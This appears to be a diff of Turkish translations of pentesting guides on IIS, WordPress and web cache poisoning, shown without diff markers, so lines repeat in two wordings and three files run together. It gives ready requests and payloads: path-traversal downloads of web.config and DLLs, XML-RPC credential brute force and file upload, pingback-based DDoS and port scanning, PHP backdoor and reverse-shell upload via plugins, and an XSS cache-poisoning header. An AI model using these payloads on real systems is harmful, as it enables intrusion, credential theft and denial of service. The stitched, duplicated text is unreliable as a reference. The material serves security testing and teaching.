.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) bulunmaktadır.
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Keşif Bruteforce
Benim oluşturduğum listeyi indirin:
Oluşturduğum listeyi indirin:
{{#file}}
iisfinal.txt
{{#endfile}}
Bu, aşağıdaki listelerin içeriklerini birleştirerek oluşturulmuştur:
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -52,15 +52,15 @@ Bu, aşağıdaki listelerin içeriklerini birleştirerek oluşturulmuştur:
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
## Yol Traversali
## Yol Traversal
### Kaynak kodunu sızdırma
Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
> **İndirilen Dll'lerden** yeni **namespaces** bulmak ve web.config dosyasına erişmek için denemeler yapabilirsiniz.\
> Özet olarak, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\
> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.
**.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
@ -68,7 +68,7 @@ Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-tr
### **İkili Dosyaları Keşfetme**
**web.config** dosyasına erişim örneği aşağıda gösterilmiştir:
```markup
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
@ -89,22 +89,22 @@ Kök dizinde bulunan **/global.asax** ve hassas şifreler içeren **/connections
### **Ad Alanları ve Web.Config**
MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek **web.config dosyaları** tanımlar; bu, başka bir **web.config** indirme isteği ile gösterilmiştir:
```markup
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL'leri İndirme**
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** indirme isteği gösterilmektedir:
```markup
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** dosyasını indirmek için bir istek gösterilmektedir:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir.
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarınıığa çıkarabilir, **WebApplication1.AdditionalFeatures.dll**.
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarınıığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir.
### Ortak dosyalar
### Yaygın dosyalar
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
@ -192,12 +192,12 @@ Aşağıdaki gibi bir hata görüyorsanız:
Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir.
## İncelenmesi gereken Eski IIS zafiyetleri
## Bakılması gereken eski IIS zafiyetleri
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızıntısı
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızdırma
Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir**.
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -239,9 +239,9 @@ ASPXAUTH aşağıdaki bilgileri kullanır:
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\
Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı.
## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Burada tam rapor](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, bu nedenle **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir.
[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur.
```python
# script for sanity check
> type test.py

View File

@ -5,7 +5,7 @@
## Temel Bilgiler
- **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -26,11 +26,11 @@
- `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir.
- `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir.
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur.
- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur.
**Post exploitation**
**Sonrası istismar**
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; bu bilgiler arasında veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki bulunur. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir.
### Kullanıcı İzinleri
@ -83,13 +83,13 @@ Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek
### Kullanıcılar
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları Brute Force ile kullanıcı ID'lerini alarak elde edersiniz:
- **ID Brute:** Bir WordPress sitesinden kullanıcı ID'lerini Brute Force yaparak geçerli kullanıcılar elde edersiniz:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, o zaman id **geçersiz**dir.
- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu deneyebilirsiniz:
- **wp-json:** Kullanıcılar hakkında bilgi almak için şunu sorgulamayı da deneyebilirsiniz:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -105,12 +105,12 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir.
### XML-RPC
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
Eğer `xml-rpc.php` aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin).
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
**Kontrol Et**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -120,8 +120,8 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
**Kimlik Bilgileri Kaba Kuvvet**
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
```markup
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -137,7 +137,7 @@ Mesaj _"Geçersiz kullanıcı adı veya şifre"_ 200 kodlu bir yanıt içinde, k
![](<../../images/image (721).png>)
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -166,7 +166,7 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
</params>
</methodCall>
```
Ayrıca, aynı istekte birden fazla kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini brute-force yapmanın **daha hızlı bir yolu** vardır:
Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini kırmanın **daha hızlı bir yolu** vardır:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
@ -176,9 +176,9 @@ Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca
**DDoS veya port taraması**
Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\
Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişim** sağlaması için istek yapmasını sağlamak için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı **ağları** **taramasını** sağlamak için kullanılabilir (herhangi bir portu belirtebilirsiniz).
```markup
Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir ana bilgisayara/porta keyfi bir istek göndermesini sağlayabilirsiniz.\
Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı dahili **ağları** **taramasını** sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz).
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -191,10 +191,10 @@ Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişim** sağlaması
Eğer **faultCode** değeri **0**'dan **büyük** (17) ise, bu portun açık olduğu anlamına gelir.
DDoS oluşturmak için bu yöntemi nasıl kötüye kullanacağınızı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın.
Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın.
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Bir biti üzerine yazarak erişim elde et
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için NOT (`!`) işlemini değiştirebilirsiniz.
Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakacak şekilde değiştirebilirsiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -266,8 +266,8 @@ to get a session.
### PHP eklentisi
Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\
Örneğin, php backdoor'unuzu oluşturun:
Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\
Örneğin, php arka kapınızı oluşturun:
![](<../../images/image (183).png>)
@ -287,7 +287,7 @@ Muhtemelen bu görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz,
![](<../../images/image (462).png>)
Erişin ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz:
![](<../../images/image (1006).png>)
@ -302,21 +302,21 @@ Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesi
3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir.
4. **İstismar**:
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir.
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu kurulabilir ve siteye yetkisiz erişim sağlanabilir.
- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir.
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal ve etik olmadığına dikkat edilmelidir. Bu bilgi, yalnızca açık izinle yapılan penetrasyon testleri gibi yasal bir bağlamda sorumlu bir şekilde kullanılmalıdır.
İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır.
**Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## XSS'den RCE'ye
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:**
- _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur.
- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin.
- _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin.
- _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin.
- _**(RCE) Yerleşik Tema Düzenleme:**_ WordPress'teki Yerleşik Temaları düzenleyin.
- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema'ları için Özel İstismarlar.
- _**(Özel) Özel İstismarlar:**_ Üçüncü Taraf WordPress Eklentileri/Tema için Özel İstismarlar.
## İstismar Sonrası
@ -336,7 +336,7 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi
- **`wp_ajax`**
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı Wordpress örneğinde mevcut olabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak).
Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır:
```php
@ -350,7 +350,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
- **REST API**
Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür:
WordPress'ten fonksiyonları, `register_rest_route` fonksiyonunu kullanarak bir rest AP kaydederek açığa çıkarmak da mümkündür:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -378,7 +378,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**.
Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**.
### Güvenlik Eklentileri

View File

@ -6,7 +6,7 @@
> **Web cache poisoning ile web cache deception arasındaki fark nedir?**
>
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, önbellekten diğer uygulama kullanıcılarına sunulur.
> - **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
## Cache Poisoning
@ -23,9 +23,9 @@ Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: Önbellek hata kodlarını kontrol et
### Keşif: Önbellek hata kodları
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeyi deneyin ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
@ -35,28 +35,28 @@ cache-poisoning-to-dos.md
Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir.
### Keşif: Anahtarsız girdileri tanımla ve değerlendir
### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
Yanıtı değiştirebilecek **parametreleri ve başlıkları brute-force** yapmak için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanabilirsiniz. Örneğin, bir sayfa istemcinin buradan script yüklemesini belirtmek için `X-Forwarded-For` başlığını kullanıyor olabilir:
```markup
Yanıtı **değiştiren parametreler ve başlıklar** için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **kaba kuvvet** uygulayabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin oradan script yüklemesini belirtiyor olabilir:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Arka uç sunucudan zararlı bir yanıt elde etme
Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
Parametre/başlık belirlendikten sonra, **temizlenme** şekline ve **nerede** **yansıtıldığına** veya başlıktan gelen yanıtı nasıl etkilediğine bakın. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
### Yanıtı önbelleğe alma
Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemeye devam etmeniz gerekebilir.
Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\
Yanıt içindeki **`X-Cache`** başlığı çok faydalı olabilir çünkü istek önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\
**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
Bir diğer ilginç başlık **`Vary`**. Bu başlık, genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, kullanıcı hedeflediği kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
Bir diğer ilginç başlık **`Vary`**. Bu başlık genellikle **önbellek anahtarı** olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin.
Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin.
## Sömürü Örnekleri
@ -64,7 +64,7 @@ Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olu
`X-Forwarded-For` gibi bir başlık, yanıt içinde temizlenmeden yansıtılıyor.\
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyerek sayfaya erişen herkesin XSS olmasını sağlayabilirsiniz:
```markup
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -80,7 +80,7 @@ cache-poisoning-to-dos.md
### Çerez işleme zafiyetlerini istismar etmek için web önbellek zehirlemesi kullanma
